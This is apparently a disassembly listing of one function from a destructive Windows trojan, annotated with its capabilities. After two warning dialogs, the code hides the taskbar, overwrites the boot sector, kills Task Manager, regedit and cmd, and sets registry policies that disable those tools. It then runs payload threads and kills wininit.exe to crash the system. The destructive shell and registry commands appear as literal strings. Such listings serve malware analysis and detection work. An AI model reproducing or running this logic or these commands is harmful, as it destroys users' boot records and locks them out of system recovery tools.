Function at 0x401c04
Capabilities:
Create thread
Disable system features via registry on windows
Execute command
Set registry value
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0xc], 0x1134
mov dword [esp + 8], str.Malware_Warning
mov dword [esp + 4], str.You_have_just_ran_a_GDI_malware_called_n.exe._r_nIt_will_overwrite_your_boot_record__disable_system_tools_and_hide_the_taskbar._r_nIf_you_want_to_stay_safe_while_running_this_malware__run_it_on_a_controlled_environment__like_a_virtual_machine._r_n_r_nIf_you_dont_know_what_youre_doing__please_hit_No_and_delete_this_file_immediately__r_nBut_on_the_other_hand__hit_Yes_if_youre_running_it_in_a_virtual_machine._r_n_r_nDO_YOU_WANT_TO_EXECUTE_THIS_MALWARE__Tubercomiosis_is_not_responsible_for_any_damages_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x401c47
mov eax, 0
jmp 0x401e66
mov dword [esp + 0xc], 0x1134
mov dword [esp + 8], str.L_____
mov dword [esp + 4], str.FINAL_WARNING__r_n_r_nThis_Trojan_horse_is_very_destructive__and_if_you_havent_read_the_previous_message__it_will_overwrite_the_boot_sector__disable_system_tools_and_hide_the_taskbar__r_nTubercomiosis_is_not_responsible_for_any_damages_if_you_run_this_on_a_physical_machine__r_n_r_nCONTINUE_TO_EXECUTE_IT__r_nHIT_NO_AND_REMOVE_THIS_FILE_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x401c84
mov eax, 0
jmp 0x401e66
call sym.__Z11HideTaskbarv_0
call sym.__Z19OverwriteBootSectorv_0
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sym._system
mov dword [esp], str.taskkill__f__im_regedit.exe
call sym._system
mov dword [esp], str.taskkill__f__im_cmd.exe
call sym._system
mov dword [esp], str.REG_ADD_hkcuSoftwareMicrosoftWindowsCurrentVersionpolicies_system__v_DisableTaskMgr__t_reg_dword__d_1__f
call sym._system
mov dword [esp], str.REG_ADD_hkcuSoftwareMicrosoftWindowsCurrentVersionpolicies_system__v_DisableRegistryTools__t_reg_dword__d_1__f
call sym._system
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym.__Z12OpenExplorerv_0
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 0x10001
mov dword [esp + 4], 0
mov dword [esp], str.SystemAsterisk
mov eax, dword [sym.imp.WINMM.DLL_PlaySoundA]
call eax
sub esp, 0xc
mov dword [esp], 0x1388
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z8Payload1Pv_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
call sym.__Z6Sound1v_0
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_InvalidateRect]
call eax
sub esp, 0xc
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z8Payload2Pv_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
call sym.__Z6Sound2v_0
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], str.taskkill__f__im_wininit.exe
call sym._system
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
leave
ret 0x10